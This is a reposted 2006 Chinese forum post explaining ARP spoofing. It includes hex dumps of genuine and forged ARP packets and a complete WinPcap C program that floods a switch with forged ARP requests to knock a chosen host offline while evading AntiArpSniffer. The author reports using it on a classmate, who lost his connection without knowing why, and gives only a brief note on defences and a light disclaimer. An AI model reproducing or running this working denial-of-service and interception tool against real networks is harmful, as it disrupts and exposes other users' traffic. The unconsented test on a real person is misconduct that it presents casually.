Posted on 2006-12-31 18:23
原色 閱讀(303)
評(píng)論(0) 編輯 收藏 引用
標(biāo) 題:
arp欺騙DIY
作 者:
enolaZ
時(shí) 間: 2006-10-20,13:25
鏈 接: http://bbs.pediy.com/showthread.php?threadid=33573
前段時(shí)間我們學(xué)校的的網(wǎng)絡(luò)總是出現(xiàn)掉線的問(wèn)題,后來(lái)說(shuō)是ARP欺騙,要我們用ANTIARPSNIFFER。小弟不才,
也想搞清楚這個(gè)ARP欺騙到底是個(gè)什么東西。于是在網(wǎng)上查了點(diǎn)資料,看了點(diǎn)文檔。也算是DIY了一個(gè)出來(lái),而
且可以不被ANTIARPSNIFFER發(fā)現(xiàn)的讓對(duì)方主機(jī)在網(wǎng)絡(luò)中死掉。于是把這個(gè)小東西貼出來(lái)讓大家一起把玩一下。
???在下菜鳥(niǎo)一只,還請(qǐng)高手指教
參考資料:《TCP/IP詳解II:實(shí)現(xiàn)》,《WINPCAP?3.0?DOC》,《交換網(wǎng)絡(luò)中的嗅探和ARP欺騙》(一位叫RefDom
的大哥很久前寫(xiě)的帖子)
???一般在局域網(wǎng)中的各主機(jī)一般都是連接到同一個(gè)交換機(jī)(或是HUB),再由交換機(jī)連接路由器,路由器再與
相對(duì)于該局域網(wǎng)的外部網(wǎng)絡(luò)相連。在我們的主機(jī)和交換機(jī)的內(nèi)存中,都保留著一張ARP的緩存表(你可以在cmd
下用arp?-a來(lái)查看),它記錄著IP地址和MAC地址的對(duì)應(yīng)關(guān)系。當(dāng)外部網(wǎng)絡(luò)的一個(gè)包傳進(jìn)來(lái),交換機(jī)通過(guò)這個(gè)包
的IP地址,在他的ARP緩存表中查找其對(duì)應(yīng)的MAC地址(因?yàn)榻粨Q機(jī)是工作在鏈路層的,所以他只會(huì)根據(jù)MAC地址
來(lái)判斷是哪個(gè)主機(jī)),當(dāng)找到時(shí),他就把這個(gè)包傳給擁有這個(gè)MAC地址的主機(jī)。當(dāng)主機(jī)向外部網(wǎng)絡(luò)通信的時(shí)候,
主機(jī)查詢自己的ARP緩存表里網(wǎng)關(guān)(在這里就是交換機(jī))(這個(gè)網(wǎng)關(guān)是用IP地址確定的)的MAC地址,然后將包
傳給交換機(jī),交換機(jī)一看是它的MAC地址,就把這個(gè)包往上傳給路由器。
???我們可以把IP比做姓名,把MAC地址比做聯(lián)系方式
???當(dāng)主機(jī)連接上網(wǎng)絡(luò)時(shí),他會(huì)發(fā)送一個(gè)廣播(ARP?REQUEST)說(shuō):大家好,我是IP?xxx,這是我的MAC地址aaa,
大家以后用他聯(lián)系,叫IP?YYY的網(wǎng)關(guān)大哥的MAC地址是多少啊?,小弟以后找還要拜托大哥了,記個(gè)聯(lián)系方式先~
???然后網(wǎng)關(guān)IP?YYY告訴IP?XXX說(shuō)(ARP?REPLY):我就是網(wǎng)關(guān)IP?XXX,我已經(jīng)記下了你IP和你的MAC地址,我的
MAC地址是ccc,以后有事聯(lián)系,別客氣~
???現(xiàn)在,假如出現(xiàn)了一些不明原因的錯(cuò)誤,主機(jī)A中的arp緩存表中網(wǎng)關(guān)IP?YYY對(duì)應(yīng)的MAC地址不是網(wǎng)關(guān)的,而
是另一臺(tái)主機(jī)B的(BBB),那么當(dāng)主機(jī)A發(fā)送了一個(gè)包時(shí),他查詢自己的ARP緩存表,把主機(jī)B的MAC地址填在了
網(wǎng)關(guān)的地方,然后把包發(fā)了出去,交換機(jī)一看這個(gè)MAC地址,心想這不是給我的小弟B的嗎,于是把這個(gè)包發(fā)給
了內(nèi)網(wǎng)中的B,而主機(jī)A卻不知道這個(gè)包已經(jīng)迷失在了網(wǎng)絡(luò)中。
??再假設(shè)另一個(gè)錯(cuò)誤,現(xiàn)在主機(jī)中的arp緩存表沒(méi)錯(cuò),而交換機(jī)的緩存錯(cuò)了,主機(jī)A的IP對(duì)應(yīng)的MAC地址上填的是
主機(jī)B的!,那么當(dāng)外部網(wǎng)絡(luò)的一個(gè)發(fā)給主機(jī)A的包到達(dá)交換機(jī)的時(shí)候,交換機(jī)查自己的ARP緩存表,一看這個(gè)IP
(A的)對(duì)應(yīng)了自己內(nèi)網(wǎng)中一個(gè)主機(jī)的MAC地址?(B的),于是就把這個(gè)包傳給了擁有這個(gè)MAC地址的B,而不是A
!
???另外還有一點(diǎn)很重要的是,ARP協(xié)議中,無(wú)論主機(jī)A有沒(méi)有REQUEST或是已經(jīng)收到了REPLY,當(dāng)再有REPLY來(lái)的
時(shí)候,它都會(huì)記下這個(gè)REPLY中的信息,并更新自己的ARP緩存。同樣交換機(jī),也只要是有主機(jī)發(fā)送ARP?REQUEST
,他就會(huì)記下這個(gè)信息,并更新自己的ARP緩存,而不會(huì)管這個(gè)請(qǐng)求是對(duì)是錯(cuò)
???原諒我說(shuō)了這么多晦澀的話,但這決不是廢話,因?yàn)樗^的arp欺騙就是將上面所說(shuō)的兩個(gè)錯(cuò)誤人為的造成
。
??第一種欺騙方法:欺騙主機(jī)A說(shuō),我是網(wǎng)關(guān)IP?YYY,我的MAC地址改成BBB了,于是主機(jī)A就出現(xiàn)了我們剛說(shuō)的
第一種情況的錯(cuò)誤。
??第二種欺騙方法:欺騙交換機(jī)說(shuō),我是主機(jī)A?IP?XXX,我的MAC地址是BBB,于是交換機(jī)出現(xiàn)了我們說(shuō)的第二
種情況的錯(cuò)誤。
??既然要騙人家,就要讓別人相信你說(shuō)的是真的,首先我們要符合ARP包的格式,另外我們要讓該真的地方真,
這樣別人才會(huì)相信你說(shuō)的假話。
??先來(lái)看下ARP包是個(gè)什么樣的(TCP/IP詳解II圖21-7有詳細(xì)說(shuō)明,大家可以查查看)
?typedef?struct?ethhdr???????????????//以太網(wǎng)頭部,長(zhǎng)度14
{
??unsigned?char?dst[6];???????//目的的MAC地址
??unsigned?char?src[6];???????//源的MAC地址
??unsigned?short?type;????????//幀類(lèi)型
}ETHHDR,*PETHDHR;
typedef?struct?eth_arphdr???????????//以太網(wǎng)arp字段長(zhǎng)度28
{
??unsigned?short?arp_hrd;?????//硬件類(lèi)型
??unsigned?short?arp_pro;?????//協(xié)議類(lèi)型
??unsigned?char??arp_hln;?????//硬件地址長(zhǎng)度(6)
??unsigned?char??arp_pln;?????//協(xié)議地址長(zhǎng)度(4)
????????unsigned?short?arp_op;??????//回應(yīng)還是請(qǐng)求
?
??unsigned?char?arp_sha[6];???//發(fā)送者M(jìn)AC地址
??unsigned?long?arp_spa;??????//發(fā)送者IP
??unsigned?char?arp_tha[6];???//接收者M(jìn)AC地址
??unsigned?long?arp_tpa;??????//接收者IP
}ETH_ARPHDR,*PETH_ARPHDR;
typedef?struct?arp??????????????????//整個(gè)ARP包的結(jié)構(gòu)
{
????ETHHDR?ethhdr;
????ETH_ARPHDR?eth_arp;
}ARP,*PARP;??
??現(xiàn)在我們?cè)賮?lái)看下arp?request?和arp?reply到底是個(gè)什么樣子。
??我打開(kāi)了winpcap?devlopment?pack中的一個(gè)例子程序TestApp,他帶有很簡(jiǎn)單的嗅探功能,然后我用
arp?-d?10.10.63.254(我的網(wǎng)關(guān)IP地址),清除了我的ARP緩存表中網(wǎng)關(guān)的記錄,過(guò)一下,我再用arp?-a查看自
己的緩存表,網(wǎng)關(guān)的IP,MAC又寫(xiě)上來(lái)了,這說(shuō)明一次REQUEST和REPLY已經(jīng)完成。于是,我在TestApp的輸出中
找到了他們的包的記錄:
我的IP地址是10.10.63.37(即0a?0a?3f?25),MAC地址是00?20?ED?89?53?B9
我的網(wǎng)關(guān)的IP地址是10.10.63.254(即0a?0a?3f?fe),MAC地址是00?11?5d?ac?e8?00
request的:長(zhǎng)度42
????FF?FF?FF?FF?FF?FF?00?20?ED?89?53?B9?08?06?00?01?08?00?06?04?00?01?00?20?ED?89?53?B9?0A?0A?3F?
25?00?00?00?00?00?00?0A?0A?3F?FE
reply的:??長(zhǎng)度60
????00?20?ED?89?53?B9?00?11?5D?AC?E8?00?08?06?00?01?08?00?06?04?00?02?00?11?5D?AC?E8?00?0A?0A?3F?
FE?00?20?ED?89?53?B9?0A?0A?3F?25?00?00?00?00?00....(后面都是用0填充)
?
好了根據(jù)這兩個(gè)包,我們就能構(gòu)造惡意的REQUEST和REPLY,假如我們要讓一臺(tái)內(nèi)網(wǎng)中的主機(jī)C消失,假設(shè)他的IP
是10.10.63.123,MAC地址是11?22?33?44?55?66那么我們可以這樣來(lái)構(gòu)造包(我們使用一個(gè)偽造的MAC地址,比
如是AA?BB?CC?DD?EE?FF
惡意的request:長(zhǎng)度42
????FF?FF?FF?FF?FF?FF?AA?BB?CC?DD?EE?FF?08?06?00?01?08?00?06?04?00?01?AA?BB?CC?DD?EE?FF?0A?0A?3F?
7B?00?00?00?00?00?00?0A?0A?3F?FE
當(dāng)交換機(jī)接受了這個(gè)請(qǐng)求并更新了自己的ARP緩存后,任何發(fā)給10.10.63.123的包都會(huì)轉(zhuǎn)發(fā)到MAC地址是
AA?BB?CC?DD?EE?FF的主機(jī)(假如這個(gè)主機(jī)才內(nèi)網(wǎng)中存在的話)
惡意的reply?:長(zhǎng)度60
????11?22?33?44?55?66?AA?BB?CC?DD?EE?FF?08?06?00?01?08?00?06?04?00?02?AA?BB?CC?DD?EE?FF?0A
0A?3F?FE?11?22?33?44?55?66?0A?0A?EF?7B?00?00?00?00?00.....(后面用0填充)
當(dāng)主機(jī)接受到了這個(gè)包,并更新了自己的ARP緩存后,他所發(fā)的任何包都會(huì)轉(zhuǎn)發(fā)給擁有這個(gè)MAC地址的主機(jī)(同
上,這個(gè)主機(jī)必須存在)。
???現(xiàn)在假如交換機(jī)和主機(jī)都被欺騙了,于是就出現(xiàn)了這樣的一個(gè)情況:主機(jī)A和其他主機(jī)或是外部網(wǎng)絡(luò)的一切
通信就都會(huì)傳給這個(gè)偽造MAC的主機(jī),而如果這個(gè)主機(jī)再將這些包轉(zhuǎn)發(fā)給原來(lái)的接收方的話,他就成了THE?
MIDDLE?MAN,而這種方式也正是交換機(jī)網(wǎng)絡(luò)中的嗅探原理了。有興趣的話,大家也可以寫(xiě)個(gè)試試~
???現(xiàn)在回到我們的話題上來(lái),當(dāng)我們自己的網(wǎng)絡(luò)中出現(xiàn)了類(lèi)似的欺騙的時(shí)候,我們應(yīng)該怎么防范?很多人估計(jì)
都會(huì)想到用專(zhuān)門(mén)的軟件,比如ANTIARPSNIFFER3.0,這個(gè)軟件實(shí)際是將網(wǎng)關(guān)的IP地址和MAC地址的對(duì)應(yīng)關(guān)系綁定
,當(dāng)接受到一個(gè)ARP?REPLY時(shí)他會(huì)查看這個(gè)包中發(fā)送方的IP和MAC地址,如果IP是網(wǎng)關(guān)的,而MAC地址不是,那他
就認(rèn)為這是個(gè)ARP欺騙,于是記錄這個(gè)假的MAC地址(當(dāng)然我們可以偽造,如果你想架禍人的話,也可以填別人
的...,但如果你是想嗅探(即是你自己的MAC地址),那么你可能會(huì)在某天被一群人抓出去暴打一頓...,為什
么我們生活的世界這么暴力,不能和平解決呢?額...我請(qǐng)大哥們吃頓飯?jiān)趺礃樱浚浚?br />???ANTIARPSNIFFER可以有效的阻止發(fā)送給主機(jī)的欺騙REPLY,但他無(wú)法阻止發(fā)送給交換機(jī)的欺騙REQUEST,因此
也就無(wú)法捕獲惡意攻擊者的MAC地址,所以我個(gè)人認(rèn)為站在攻擊的角度,第二種欺騙方式要比第一種來(lái)的更加有
效和不易被發(fā)現(xiàn),畢竟誰(shuí)的會(huì)關(guān)注自身的安全,卻往往忽視社會(huì)整體的安全隱患....要想解決這個(gè)問(wèn)題,就必
須把交換機(jī)的ARP緩存設(shè)為靜態(tài)(即將IP和MAC的對(duì)應(yīng)關(guān)系鎖死)(使用ARP?-S)來(lái)解決。然而,對(duì)于主機(jī)使用
DHCP動(dòng)態(tài)獲取IP的網(wǎng)絡(luò)(比如我們學(xué)校的網(wǎng)絡(luò)),由于IP與MAC地址無(wú)法在長(zhǎng)時(shí)間內(nèi)保持一致,因此交換機(jī)的
ARP緩存表必須是可更新的(即動(dòng)態(tài)),于是對(duì)于這種網(wǎng)絡(luò),發(fā)送欺騙REQUEST給交換機(jī)的攻擊方式將是無(wú)法解
決的....
???也正因?yàn)榇耍宜帉?xiě)的一個(gè)測(cè)試程序是基于第二種攻擊方式(即發(fā)送加的ARP?REQUEST請(qǐng)求給交換機(jī))。
由于是測(cè)試程序,我把一切可能出錯(cuò)的部分都做了最簡(jiǎn)化以方便調(diào)試,程序相當(dāng)簡(jiǎn)陋,不過(guò)仍然很有效。
另外要說(shuō)明的是,我安裝了WINPCAP?3.0(一個(gè)OPEN?SOURCE的網(wǎng)卡驅(qū)動(dòng)項(xiàng)目)和他的開(kāi)發(fā)包。并參考了WINPCAP
DOC中的程序和RefDom大哥在帖子里的程序,當(dāng)然還有偉大的W.Richard.Stevens的《TCP/IP詳解II實(shí)現(xiàn)》第21
章
/////////////////////////////////////////////////////////////////////////////
//????arp?attacker
//????author:enolaZ
//????e-mail:enolaz@126.com
/////////////////////////////////////////////////////////////////////////////
#include<stdio.h>
#include"packet32.h"
#include<winsock2.h>
#pragma?comment(lib,"ws2_32")
#pragma?comment(lib,"packet")
#define?EPT_ARP?0x0806????????????????//定義了一些在構(gòu)造包的時(shí)候要用到的常量
#define?EPT_IP?0x0800
#define?ARP_HARDWARE?0X0001
#define?ARP_REPLY?0x0002
#define?ARP_REQUEST?0x0001
#pragma?pack(push,1)????????????????//在定義結(jié)構(gòu)的時(shí)候一頂要用到pack(push,1)和下面的pack(pop)
????????????????????????????????????//否則你構(gòu)造的結(jié)構(gòu)的長(zhǎng)度會(huì)有問(wèn)題
typedef?struct?ethhdr???????????????//以太網(wǎng)頭部,長(zhǎng)度14
{
??unsigned?char?dst[6];???????//目的的MAC地址
??unsigned?char?src[6];???????//源的MAC地址
??unsigned?short?type;????????//幀類(lèi)型
}ETHHDR,*PETHDHR;
typedef?struct?eth_arphdr???????????//以太網(wǎng)arp字段長(zhǎng)度28
{
??unsigned?short?arp_hrd;?????//硬件類(lèi)型
??unsigned?short?arp_pro;?????//協(xié)議類(lèi)型
??unsigned?char??arp_hln;?????//硬件地址長(zhǎng)度(6)
??unsigned?char??arp_pln;?????//協(xié)議地址長(zhǎng)度(4)
????????unsigned?short?arp_op;??????//回應(yīng)還是請(qǐng)求
?
??unsigned?char?arp_sha[6];???//發(fā)送者M(jìn)AC地址
??unsigned?long?arp_spa;??????//發(fā)送者IP
??unsigned?char?arp_tha[6];???//接收者M(jìn)AC地址
??unsigned?long?arp_tpa;??????//接收者IP
}ETH_ARPHDR,*PETH_ARPHDR;
typedef?struct?arp??????????????????//整個(gè)ARP包的結(jié)構(gòu)
{
??ETHHDR?ethhdr;
????ETH_ARPHDR?eth_arp;
}ARP,*PARP;
#pragma?pack(pop)
#define?Max_Num_Adapter?10
char????????AdapterList[Max_Num_Adapter][1024];??//定義的網(wǎng)絡(luò)適配器列表
int?main?(int?argc,char*?argv[])
{
??LPADAPTER??lpAdapter?=?0;???????????????
??LPPACKET???lpPacket;
??int????????i;
??DWORD??????dwErrorCode;
??WCHAR?????AdapterName[8192];?
??WCHAR?????*temp,*temp1;?????????????????//將AdapterNames的內(nèi)容轉(zhuǎn)存到AdapterList時(shí)用
??int?????AdapterNum=0;
??ULONG?????AdapterLength;
??ARP?arpPacket;???????????????????????????//定義的包結(jié)構(gòu)實(shí)例
??char?szPktBuf[256000];???????????????????//用于存放包的內(nèi)容
????????printf("%d\n",sizeof(ETHHDR));???????????//這3行是我在測(cè)試結(jié)構(gòu)長(zhǎng)度時(shí)用的,如果沒(méi)有使用之
??printf("%d\n",sizeof(ETH_ARPHDR));???????//前說(shuō)的pack(push,1),pack(pop)長(zhǎng)度就成了14,32
??printf("%d\n",sizeof(ARP));??????????????//48,與我們的arp包的格式不符
??i=0;??
??AdapterLength?=?sizeof(AdapterName);
??if(PacketGetAdapterNames((char?*)AdapterName,&AdapterLength)==FALSE)//獲取所有網(wǎng)絡(luò)適配器
??{
????printf("Unable?to?retrieve?the?list?of?the?adapters!\n");
????return?-1;
??}
??temp=AdapterName;
??temp1=AdapterName;
??while?((*temp!='\0')||(*(temp-1)!='\0'))??????????//將AdapterNames的內(nèi)容轉(zhuǎn)存到AdapterList
??{
????if?(*temp=='\0')?
????{
??????memcpy(AdapterList[i],temp1,(temp-temp1)*2);
??????temp1=temp+1;
??????i++;
????}
????temp++;
??}
????
??AdapterNum=i;
??for?(i=0;i<AdapterNum;i++)
????wprintf(L"\n%d-?%s\n",i+1,AdapterList[i]);?//輸出獲得的所有網(wǎng)絡(luò)適配器
??printf("\n");??
??
??lpAdapter?=???PacketOpenAdapter(AdapterList[0]);???//得到對(duì)應(yīng)網(wǎng)絡(luò)適配器的_Adapter結(jié)構(gòu),我??
???????????????????????????????????????????????????????????//就一個(gè)當(dāng)然是0了??
??if?(!lpAdapter?||?(lpAdapter->hFile?==?INVALID_HANDLE_VALUE))
??{
????dwErrorCode=GetLastError();
????printf("Unable?to?open?the?adapter,?Error?Code?:?%lx\n",dwErrorCode);?
????return?-1;
??}??
????????lpPacket=PacketAllocatePacket();???????????????????????//得到一個(gè)包的_Packet結(jié)構(gòu)
??if(lpPacket==NULL)
??{
????printf("alloc?lppacket?failed");
????return?-1;
??}
????????ZeroMemory(szPktBuf,sizeof(szPktBuf));????????????????//將包的緩存區(qū)清空
??arpPacket.ethhdr.dst[0]=0xff;?????????????????????//開(kāi)始填充包結(jié)構(gòu)arpPacket
????????arpPacket.ethhdr.dst[1]=0xff;
??arpPacket.ethhdr.dst[2]=0xff;
??arpPacket.ethhdr.dst[3]=0xff;
??arpPacket.ethhdr.dst[4]=0xff;
??arpPacket.ethhdr.dst[5]=0xff;
??arpPacket.ethhdr.src[0]=0x00;?????????????????????//一個(gè)偽造的MAC地址
????????arpPacket.ethhdr.src[1]=0x20;
??arpPacket.ethhdr.src[2]=0xce;
??arpPacket.ethhdr.src[3]=0xa8;
??arpPacket.ethhdr.src[4]=0x54;
??arpPacket.ethhdr.src[5]=0x33;
??arpPacket.ethhdr.type=htons(EPT_ARP);
??arpPacket.eth_arp.arp_hrd=htons(ARP_HARDWARE);
??arpPacket.eth_arp.arp_pro=htons(EPT_IP);
??arpPacket.eth_arp.arp_hln=6;
??arpPacket.eth_arp.arp_pln=4;
??arpPacket.eth_arp.arp_op=htons(ARP_REQUEST);
??arpPacket.eth_arp.arp_sha[0]=0x00;????????????????????//仍然是假的MAC地址
??arpPacket.eth_arp.arp_sha[1]=0x20;
??arpPacket.eth_arp.arp_sha[2]=0xce;
??arpPacket.eth_arp.arp_sha[3]=0xa8;
??arpPacket.eth_arp.arp_sha[4]=0x54;
??arpPacket.eth_arp.arp_sha[5]=0x33;
??arpPacket.eth_arp.arp_spa=inet_addr("10.10.63.123");???//冒充對(duì)象的IP
????????arpPacket.eth_arp.arp_tha[0]=0x00;
??arpPacket.eth_arp.arp_tha[1]=0x00;
??arpPacket.eth_arp.arp_tha[2]=0x00;
??arpPacket.eth_arp.arp_tha[3]=0x00;
??arpPacket.eth_arp.arp_tha[4]=0x00;
??arpPacket.eth_arp.arp_tha[5]=0x00;
??arpPacket.eth_arp.arp_tpa=inet_addr("10.10.63.254");???//網(wǎng)關(guān)IP
????????printf("%d\n",sizeof(arpPacket));
??memcpy(szPktBuf,(char*)&arpPacket,sizeof(arpPacket));??
??PacketInitPacket(lpPacket,szPktBuf,60);????????????????
????????while(getchar()!='q')?????????????????????????????????????//當(dāng)輸入為q時(shí)結(jié)束
??{
????????if(PacketSendPacket(lpAdapter,lpPacket,true)==false)??//不斷發(fā)送偽造信息,將目標(biāo)的正確
??????????????????????????????????????????????????????????????//ARP?REQUEST淹沒(méi)
????{
????????printf("error?in?sending?packet");
????????return?-1;
????}
??}
??printf("send?ok");
??PacketFreePacket(lpPacket);????????//一點(diǎn)掃尾的工作
??PacketCloseAdapter(lpAdapter);
????return?1;
}
好了,這個(gè)異常簡(jiǎn)陋的程序結(jié)束了,我對(duì)我們內(nèi)部網(wǎng)的某同學(xué)測(cè)試過(guò),當(dāng)我程序啟動(dòng)不久,去他寢室看,他已
經(jīng)掉線了,而他的AntiArpSniffer卻沒(méi)有報(bào)警,呵呵這說(shuō)明攻擊很成功~。
當(dāng)然要說(shuō)明的一點(diǎn)是,這個(gè)東西完全是研究學(xué)習(xí)用,沒(méi)有惡意,也希望大家不要隨便對(duì)別人做壞事,恩恩,為
了學(xué)習(xí)研究的目的當(dāng)然可以做一下實(shí)驗(yàn),但不要太有破壞性哦~(如果你想被一群憤怒的群眾痛打,那我也沒(méi)話
說(shuō)...)。可憐了我那位實(shí)驗(yàn)對(duì)象?...找個(gè)機(jī)會(huì)請(qǐng)他吃個(gè)飯吧~